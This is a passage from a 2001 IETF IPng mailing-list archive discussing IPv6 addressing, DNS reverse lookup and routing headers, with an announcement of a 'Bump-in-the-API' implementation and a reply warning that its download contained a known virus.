(8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id KAA28637; Fri, 11 May 2001 10:19:31 +0200 (MET DST) Date: Fri, 11 May 2001 10:19:28 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: BIND 9.1.1 AND IPv4-MAPPED IPv6 addresses To: Praveen Kumar Amritaluru Cc: Stig.Venaas@uninett.no, sogor@mars.arts.u-szeged.hu, BIND9-WORKERS@isc.org, ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <200105091642.WAA27333@shilpa.india.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > But what seems to be ambiguous is IPv4-compatible-IPv6 > addresses. There is no reference about this except in > getipnodebyaddr() in RFC2553 which says that initial 12 bits > needs to be stripped and then query is made for the IPv4 address > in in-addr.arpa domain. IPv4-compatible addresses are very very very different than IPv4-mapped addresses. Talking about both in the same email is a source of confusion :-( IPv4-compatible addresses, just like the 6to4 addresses, are real IPv6 addresses i.e. they always appear in IPv6 packet headers. Neither one of them can be crafted by getaddrinfo etc from knowing the IPv4 address of the peer, because the peer might not have configured that IPv6 address on an interface. [To contrast: The IPv4-mapped are just an *encoding* of an IPv4 address in an sockaddr_in6 structure thus it should be semantically identical to the underlying IPv4 address] So IPv4-compatible addresses (6to4 addresses, "native" IPv6 address) must be configured on the nodes and must be retrieved from something like the DNS. > This seems to suggest that we need to have a PTR record for > IPv4-compatible-IPv6 addresses in in-addr.arpa domain as is the > case with A records (IPv4 addresses) and not IP6.INT domain. I'm aware of that optimization but it isn't clear to me that it is needed or desired. > Or does it mean that forward resolution uses AAAA records for > compatible addresses and in-addr.arpa domain (IPv4 address > reverse domain) for address -> nodename resolution. Forward uses AAAA (or A6). > Actually there is no flag similar to AI_V4MAPPED for generating > IPv4-compatbile-IPv6 address?? Is this a required one? There wouldn't be a need. The AI_V4MAPPED flag is there so that the application can specify whether it wants to see IPv4 addresses as AF_INET addresses or as AF_INET6 addresses containing an IPv4-mapped address. > Any ideas regarding IPv4-compatbile-IPv6 addresses. Perhaps we should deprecate them? They are only useful for automatic tunneling and 6to4 tunneling is essentially a superset of automatic tunneling. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 11 01:25:22 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4B8OD020964 for ipng-dist; Fri, 11 May 2001 01:24:13 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4B8O4420957; Fri, 11 May 2001 01:24:04 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA03477; Fri, 11 May 2001 01:24:03 -0700 (PDT) Received: from pec.etri.re.kr (pec.etri.re.kr [129.254.164.217]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA20779; Fri, 11 May 2001 01:24:01 -0700 (PDT) Received: from sylee (syl.etri.re.kr [129.254.164.220]) by pec.etri.re.kr (8.10.0/8.10.0) with SMTP id f4B8P8Z08595; Fri, 11 May 2001 17:25:08 +0900 (KST) From: =?ks_c_5601-1987?B?wMy9wsCx?= To: , , "IPv6 Forum" Subject: Implementation of "Bump-in-the-API" Date: Fri, 11 May 2001 17:24:03 +0900 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="ks_c_5601-1987" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by sunroof.eng.sun.com id f4B8O5520958 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Folks, We are please to inform you of the release of the "Bump-in-the-API(BIA)" implementation. ETRI and I2soft have develope the BIA module on the MS windows2000 platform. You can get the binary code for the BIA at the following URL : http://www.krv6.net/bia As you know, we've submitted the first BIA draft at the last IETF meeting in Minneapolis (http://www.ietf.org/internet-drafts/draft-sylee-bia-00.txt) and we have introduced our implementation. It allows the IPv4 applications on the dual stack host to communicate with other IPv6 hosts on the IPv6 network. On the BIA environment, especially, you can connect to the IPv6 only web server using Internet Explorer or Netscape for IPv4. (Now, we do not guarantee other IPv4 applications.) I hope you try the BIA and give us feedback. thanks, Seungyun Lee ------------------------- Email: syl@pec.etri.re.kr Tel : +82-42-860-5508 Fax : +82-42-861-5404 Address: ETRI/PEC, 161 Kajong-dong, Yusong-Gu, TAEJON, 305-350, KOREA --------------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 11 01:27:45 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4B8QeY21001 for ipng-dist; Fri, 11 May 2001 01:26:40 -0700 (PDT) Received: from bebop.france (bebop.France.Sun.COM [129.157.174.15] (may be forged)) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4B8QL420987 for ; Fri, 11 May 2001 01:26:21 -0700 (PDT) Received: from lillen (lillen [129.157.212.23]) by bebop.france (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id KAA29108; Fri, 11 May 2001 10:26:17 +0200 (MET DST) Date: Fri, 11 May 2001 10:26:15 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: multiple routing headers To: Lori Napoli Cc: ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > In RFC 2460 it states "IPv6 nodes must accept and attempt to process > extension headers in any order and occuring any number of times in the same > packet, except for the Hop-by-Hop Options header which is restricted to > appear immediately after an IPv6 IP Header." Below are some discussions > my colleagues and I have had on the Routing Type 0 extension header. Any > insight you can shed would be appreciated. [...] > > > The second case that could cause multiple Type 0 Routing headers to appear > in one packet is if an intermediate node inserted one. The only way an intermediate node can insert additional extension headers (actually insert anything that changes the length of the IP datagram) is by encapsulating the packet with another IP header. Anything else, e.g. taking a packet with IP+TCP and making it IP+rthdr+TCP, breaks Path MTU discovery and would cause problems if AH was used. Thus the allowable "insertion" of a routing header is to conver e.g. IP1+TCP to IP2+rthdr+IP1+TCP. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 11 01:35:07 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4B8Xha21047 for ipng-dist; Fri, 11 May 2001 01:33:43 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4B8XY421040 for ; Fri, 11 May 2001 01:33:34 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA04427; Fri, 11 May 2001 01:33:33 -0700 (PDT) Received: from theory.cs.uni-bonn.de (theory.cs.uni-bonn.de [131.220.4.211]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA26549; Fri, 11 May 2001 01:33:31 -0700 (PDT) Received: (from ignatios@localhost) by theory.cs.uni-bonn.de (8.9.1a/8.9.1) id KAA17677; Fri, 11 May 2001 10:33:31 +0200 (MET DST) Date: Fri, 11 May 2001 10:33:30 +0200 From: Ignatios Souvatzis To: Erik Nordmark Cc: Lori Napoli , ipng@sunroof.eng.sun.com Subject: Re: multiple routing headers Message-ID: <20010511103330.B17593@theory.cs.uni-bonn.de> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="4SFOXa2GPu3tIq4H" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Erik.Nordmark@eng.sun.com on Fri, May 11, 2001 at 10:26:15AM +0200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --4SFOXa2GPu3tIq4H Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Fri, May 11, 2001 at 10:26:15AM +0200, Erik Nordmark wrote: > Anything else, e.g. taking a packet with IP+TCP and making it > IP+rthdr+TCP, breaks Path MTU discovery and > would cause problems would be detected/cause rejection of the packet > if AH was used. -is --4SFOXa2GPu3tIq4H Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: 2.6.i iQEVAgUBOvuj1jCn4om+4LhpAQEs1Qf/QeHP3Iy5DJetcNlEBxLMkUtmKpmp7uwR NUFyfojwzv4qEIlMNKcWb/j8Pk4Ykz2yykVYVXKbvn4znftAp0IXl2X/2IqZCEol VxS7YFPvU0KH28t21xchmmiUkTXJMZYvToFzYxP9cq1N1Y6vbA/cTwXi3k/0/B7x MhzCYnYYsA2GvRnNNIHUlglmX1xjhw7kekvmv27I+Oxwa3SixWrm9qY3n2sMPSu8 ATU0aNG1YaX2qlC8wngFMEWDGZyyhvGAtmnsBCIJdQAS8Pe+YwhPzC+Uo+TwzRQv /z6hbrWwTqxGCtjIB0sh6MpWp8A/tZfH/fy816EChDGjhH9whjp4FQ== =aKTE -----END PGP SIGNATURE----- --4SFOXa2GPu3tIq4H-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 11 05:54:02 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4BCqxA21281 for ipng-dist; Fri, 11 May 2001 05:52:59 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4BCqo421274 for ; Fri, 11 May 2001 05:52:50 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA18726 for ; Fri, 11 May 2001 05:52:50 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id GAA19081 for ; Fri, 11 May 2001 06:52:55 -0600 (MDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA01455; Fri, 11 May 2001 08:50:46 -0400 Date: Fri, 11 May 2001 08:50:46 -0400 (EDT) From: Jim Bound To: Erik Nordmark Cc: Praveen Kumar Amritaluru , Stig.Venaas@uninett.no, sogor@mars.arts.u-szeged.hu, BIND9-WORKERS@isc.org, ipng@sunroof.eng.sun.com Subject: Re: BIND 9.1.1 AND IPv4-MAPPED IPv6 addresses In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I would support deprecating IPv4-compatible addresses and compaq asked for this 2 years ago :-----) we were told no. but we did not have 6to4 either. /jim On Fri, 11 May 2001, Erik Nordmark wrote: > > > But what seems to be ambiguous is IPv4-compatible-IPv6 > > addresses. There is no reference about this except in > > getipnodebyaddr() in RFC2553 which says that initial 12 bits > > needs to be stripped and then query is made for the IPv4 address > > in in-addr.arpa domain. > > IPv4-compatible addresses are very very very different than IPv4-mapped > addresses. Talking about both in the same email is a source of confusion :-( > > IPv4-compatible addresses, just like the 6to4 addresses, are real > IPv6 addresses i.e. they always appear in IPv6 packet headers. > Neither one of them can be crafted by getaddrinfo etc from knowing the > IPv4 address of the peer, because the peer might not have configured that > IPv6 address on an interface. > [To contrast: The IPv4-mapped are just an *encoding* of an IPv4 address in an > sockaddr_in6 structure thus it should be semantically identical to the > underlying IPv4 address] > > So IPv4-compatible addresses (6to4 addresses, "native" IPv6 address) must > be configured on the nodes and must be retrieved from something like the DNS. > > > This seems to suggest that we need to have a PTR record for > > IPv4-compatible-IPv6 addresses in in-addr.arpa domain as is the > > case with A records (IPv4 addresses) and not IP6.INT domain. > > I'm aware of that optimization but it isn't clear to me that it > is needed or desired. > > > > Or does it mean that forward resolution uses AAAA records for > > compatible addresses and in-addr.arpa domain (IPv4 address > > reverse domain) for address -> nodename resolution. > > Forward uses AAAA (or A6). > > > Actually there is no flag similar to AI_V4MAPPED for generating > > IPv4-compatbile-IPv6 address?? Is this a required one? > > There wouldn't be a need. > The AI_V4MAPPED flag is there so that the application can specify whether > it wants to see IPv4 addresses as AF_INET addresses or as AF_INET6 addresses > containing an IPv4-mapped address. > > > Any ideas regarding IPv4-compatbile-IPv6 addresses. > > Perhaps we should deprecate them? > They are only useful for automatic tunneling and 6to4 tunneling is > essentially a superset of automatic tunneling. > > Erik > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 11 09:22:43 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4BGLKs21726 for ipng-dist; Fri, 11 May 2001 09:21:20 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4BGL4421719; Fri, 11 May 2001 09:21:05 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA14038; Fri, 11 May 2001 09:21:04 -0700 (PDT) Received: from fw1-b.osis.gov (fw1-b.osis.gov [204.178.104.234]) by saturn.sun.com (8.9.3+Sun/8.9.3) with SMTP id JAA29918; Fri, 11 May 2001 09:21:03 -0700 (PDT) Received: from neptune.jioc.osis.gov by fw1-b.osis.gov with SMTP id MAA25319 (InterLock SMTP Gateway 4.2); Fri, 11 May 2001 12:19:34 -0400 Received: by neptune.jioc.osis.gov with Internet Mail Service (5.5.2650.21) id ; Fri, 11 May 2001 11:18:34 -0500 Message-Id: From: "SESVOLD, DALE" To: "'???'" , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com, IPv6 Forum Cc: "BOMBEI, DARRELL R." Subject: VIRUS ---- RE: Implementation of "Bump-in-the-API" Date: Fri, 11 May 2001 11:18:30 -0500 Mime-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0DA36.06568660" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0DA36.06568660 Content-Type: text/plain; charset="ks_c_5601-1987" All, Please note when I downloaded the .zip file from the site below, our VIRUS scanning found the "WIN/FunLove.4099" within the SPORDER.EXE file of the .zip Dale Dale Sesvold Senior Network Engineer MacAulay-Brown, Inc Joint Informations Operations Center -----Original Message----- From: syl@pec.etri.re.kr [mailto:syl@pec.etri.re.kr] Sent: Friday, May 11, 2001 3:24 AM To: ngtrans@sunroof.eng.sun.com; ipng@sunroof.eng.sun.com; IPv6 Forum Subject: Implementation of "Bump-in-the-API" Folks, We are please to inform you of the release of the "Bump-in-the-API(BIA)" implementation. ETRI and I2soft have develope the BIA module on the MS windows2000 platform. You can get the binary code for the BIA at the following URL : http://www.krv6.net/bia As you know, we've submitted the first BIA draft at the last IETF meeting in Minneapolis (http://www.ietf.org/internet-drafts/draft-sylee-bia-00.txt) and we have introduced our implementation. It allows the IPv4 applications on the dual stack host to communicate with other IPv6 hosts on the IPv6 network. On the BIA environment, especially, you can connect to the IPv6 only web server using Internet Explorer or Netscape for IPv4. (Now, we do not guarantee other IPv4 applications.) I hope you try the BIA and give us feedback. thanks, Seungyun Lee ------------------------- Email: syl@pec.etri.re.kr Tel : +82-42-860-5508 Fax : +82-42-861-5404 Address: ETRI/PEC, 161 Kajong-dong, Yusong-Gu, TAEJON, 305-350, KOREA --------------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- ------_=_NextPart_001_01C0DA36.06568660 Content-Type: text/html; charset="ks_c_5601-1987" Content-Transfer-Encoding: quoted-printable VIRUS ---- RE: Implementation of = "Bump-in-the-API"

All,
Please note when I downloaded the .zip file from the = site below, our VIRUS scanning found the "WIN/FunLove.4099" = within the SPORDER.EXE file of the .zip

Dale

Dale Sesvold
Senior Network Engineer
MacAulay-Brown, Inc
Joint Informations Operations Center


-----Original Message-----
From: syl@pec.etri.re.kr [mailto:syl@pec.etri.re.kr]=
Sent: Friday, May 11, 2001 3:24 AM
To: ngtrans@sunroof.eng.sun.com; = ipng@sunroof.eng.sun.com; IPv6 Forum
Subject: Implementation of = "Bump-in-the-API"


Folks,

We are please to inform you of the release of the = "Bump-in-the-API(BIA)"
implementation. ETRI and I2soft have develope the = BIA module on the
MS windows2000 platform. You can get the binary code = for the BIA
at the following URL :

http://www.krv6.net/bia

As you know, we've submitted the first BIA draft at = the last IETF meeting
in Minneapolis (http://www.ietf.org/internet-drafts/draft-sylee-bia-00= .txt)
and we have introduced our implementation. It allows = the IPv4 applications
on the dual stack host to communicate with other = IPv6 hosts on the IPv6 network.
On the BIA environment, especially, you can connect = to the IPv6 only web server
using Internet Explorer or Netscape for IPv4.  = (Now, we do not guarantee other
IPv4 applications.)

I hope you try the BIA and give us feedback.

thanks,

Seungyun Lee
-------------------------
Email: syl@pec.etri.re.kr
Tel  : +82-42-860-5508
Fax  : +82-42-861-5404
Address: ETRI/PEC, 161 Kajong-dong, Yusong-Gu, = TAEJON, 305-350, KOREA
---------------------------------------------------------------= ------------
---------------------------------------------------------------= -----
IETF IPng Working Group Mailing List
IPng Home = Page:           &= nbsp;          http://playground.sun.com/ipng
FTP = archive:          &nbs= p;           ftp://playground.sun.com/pub/ipng
Direct all administrative requests to = majordomo@sunroof.eng.sun.com
---------------------------------------------------------------= -----

------_=_NextPart_001_01C0DA36.06568660-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat May 12 07:13:57 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4CECFt23314 for ipng-dist; Sat, 12 May 2001 07:12:15 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4CEC5423307 for ; Sat, 12 May 2001 07:12:06 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA26055 for ; Sat, 12 May 2001 07:12:05 -0700 (PDT) Received: from jazz.viagenie.qc.ca (jazz.viagenie.qc.ca [206.123.31.2]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA01000 for ; Sat, 12 May 2001 07:12:04 -0700 (PDT) Received: from CLASSIC.viagenie.qc.ca (modemcable245.48-201-24.que.mc.videotron.ca [24.201.48.245]) by jazz.viagenie.qc.ca (Viagenie/8.11.0) with ESMTP id f4CEPE146595 for ; Sat, 12 May 2001 10:25:14 -0400 (EDT) X-Accept-Language: fr,en,es Message-Id: <5.1.0.14.1.20010512092146.01f7e380@mail.viagenie.qc.ca> X-Sender: blanchet@mail.viagenie.qc.ca X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sat, 12 May 2001 09:25:39 -0400 To: ipng@sunroof.eng.sun.com From: Marc Blanchet Subject: Re: wrt: draft-blanchet-ipngwg-testadd-00.txt In-Reply-To: <2619.989410096@brandenburg.cs.mu.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk - As Robert was saying about my draft, there is two issues: + do we agree on the idea of the draft? if yes, then find one address space which is the best one for that purpose. I don't care which one, I just proposed one. Any advice is appreciated. For the sake of generality, we might want to reserve a range that is similar to a TLA, so that anyone would be able to use it for examples involving TLAs. if no, then forget the draft. What is the opinion of the group? Marc. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 14 13:24:58 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4EKNch26272 for ipng-dist; Mon, 14 May 2001 13:23:38 -0700 (PDT) Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4EKNY426265 for ; Mon, 14 May 2001 13:23:34 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f4EKJum19422 for ipng@sunroof.eng.sun.com; Mon, 14 May 2001 13:19:56 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4EKEL426192 for ; Mon, 14 May 2001 13:14:21 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA21218 for ; Mon, 14 May 2001 13:14:19 -0700 (PDT) Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA24229 for ; Mon, 14 May 2001 13:14:17 -0700 (PDT) Received: from atlrel1.hp.com (atlrel1.hp.com [15.10.176.10]) by palrel2.hp.com (Postfix) with ESMTP id ED5A425E7; Mon, 14 May 2001 13:14:15 -0700 (PDT) Received: from shilpa.india.hp.com (shilpa.india.hp.com [15.10.43.114]) by atlrel1.hp.com (Postfix) with ESMTP id F136793A9; Mon, 14 May 2001 12:23:32 -0400 (EDT) Received: (from praveen@localhost) by shilpa.india.hp.com (8.8.6 (PHNE_17135)/8.8.6 SMKit7.02) id VAA13982; Mon, 14 May 2001 21:52:34 +0530 (IST) From: Praveen Kumar Amritaluru Message-Id: <200105141622.VAA13982@shilpa.india.hp.com> Subject: Re: BIND 9.1.1 AND IPv4-MAPPED IPv6 addresses To: Erik.Nordmark@eng.sun.com Date: Mon, 14 May 2001 21:52:33 +0530 (IST) Cc: praveen@india.hp.com, seamus@bit-net.com (Jim Bound), ipng@sunroof.eng.sun.com, BIND9-WORKERS@isc.org In-Reply-To: from Erik Nordmark at May "11," 2001 "10:19:28" am X-Mailer: ELM [$Revision: 1.17.214.3 $] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, --- > > IPv4-compatible addresses, just like the 6to4 addresses, are real > IPv6 addresses i.e. they always appear in IPv6 packet headers. > Neither one of them can be crafted by getaddrinfo etc from knowing the > IPv4 address of the peer, because the peer might not have configured that > IPv6 address on an interface. > [To contrast: The IPv4-mapped are just an *encoding* of an IPv4 address in an > sockaddr_in6 structure thus it should be semantically identical to the > underlying IPv4 address] Thanks for the clarification. > > So IPv4-compatible addresses (6to4 addresses, "native" IPv6 address) must > be configured on the nodes and must be retrieved from something like the DNS. Since IPv4-compatible addresses are "native" IPv6 addresses and must be configured in DNS, by default the PTR records for V6 addresses will be placed in IP6.INT domain (which was the domain at that time before IP6.ARPA). There is no reference in RFC1886 that says PTR records for "IPv4-compatible addresses" should be placed in in-addr.arpa domain. Since IP6.INT domain is the domain for reverse resolution as per the RFC1886, the PTR records will be placed in IP6.INT domain by default if he has not seen RFC2553 which is absurd to assume so. This will lead to an inconsistency in the way records are placed. So the resolver libraries used by many applications may be searching for PTR records in IP6.INT domain whereas getipnodebyYY() and getnameinfo() will be searching for the same records in in-addr.arpa domain. > > > This seems to suggest that we need to have a PTR record for > > IPv4-compatible-IPv6 addresses in in-addr.arpa domain as is the > > case with A records (IPv4 addresses) and not IP6.INT domain. > > I'm aware of that optimization but it isn't clear to me that it > is needed or desired. I dont see any optimization in this especially with the complex A6 records and indirection stuff to be handled by nameservers and resolvers. Even so, I dont feel there is any appreciable optimization gained by just placing IPv4-compatible addresses alone in in-addr.arpa domain. > > > > Or does it mean that forward resolution uses AAAA records for > > compatible addresses and in-addr.arpa domain (IPv4 address > > reverse domain) for address -> nodename resolution. > > Forward uses AAAA (or A6). > > > Actually there is no flag similar to AI_V4MAPPED for generating > > IPv4-compatbile-IPv6 address?? Is this a required one? > > There wouldn't be a need. > The AI_V4MAPPED flag is there so that the application can specify whether > it wants to see IPv4 addresses as AF_INET addresses or as AF_INET6 addresses > containing an IPv4-mapped address. > > > Any ideas regarding IPv4-compatbile-IPv6 addresses. > > Perhaps we should deprecate them? > They are only useful for automatic tunneling and 6to4 tunneling is > essentially a superset of automatic tunneling. > Not sure about deprecating. If not being deprecated then I think the next revision of RFC2553-bis needs changes in this respect. Any comments? Praveen > Erik > > -- ============================================================================== Praveen Kumar Amritaluru Phone (Off) : (91)(80)2251554 x 1306 HP India Software Operations Telnet : 847-1306 Bangalore 560 052 India. ============================================================================== -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 14 16:52:07 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4ENov626707 for ipng-dist; Mon, 14 May 2001 16:50:57 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4ENol426700 for ; Mon, 14 May 2001 16:50:47 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA11701 for ; Mon, 14 May 2001 16:50:47 -0700 (PDT) Received: from sea-av1.zama.net (smtp1.zama.net [203.142.132.13]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA03603 for ; Mon, 14 May 2001 16:50:47 -0700 (PDT) Received: from sea-av1.zama.net (localhost [127.0.0.1]) by sea-av1.zama.net (8.9.3+Sun/8.9.3) with ESMTP id QAA19953 for ; Mon, 14 May 2001 16:50:41 -0700 (PDT) Received: from postoff1.zama.net (sea-postoff1.zama.net [172.16.100.20]) by sea-av1.zama.net (8.9.3+Sun/8.9.3) with ESMTP id QAA19940 for ; Mon, 14 May 2001 16:50:40 -0700 (PDT) Received: from zama.net ([127.0.0.1]) by postoff1.zama.net (Netscape Messaging Server 4.15) with ESMTP id GDCNKG00.10R; Mon, 14 May 2001 16:50:40 -0700 From: "Grant Furness" To: "Emanuel Moreira" Cc: ipng@sunroof.eng.sun.com, msripv6-users@list.research.microsoft.com, users@ipv6.org Message-ID: <27cd4472.447227cd@zama.net> Date: Mon, 14 May 2001 16:50:40 -0700 X-Mailer: Netscape Webmail MIME-Version: 1.0 Content-Language: en Subject: Re: IPv6 router advertisments X-Accept-Language: en Content-Type: multipart/mixed; boundary="--463132953a514a1c" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. ----463132953a514a1c Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit You can find most of 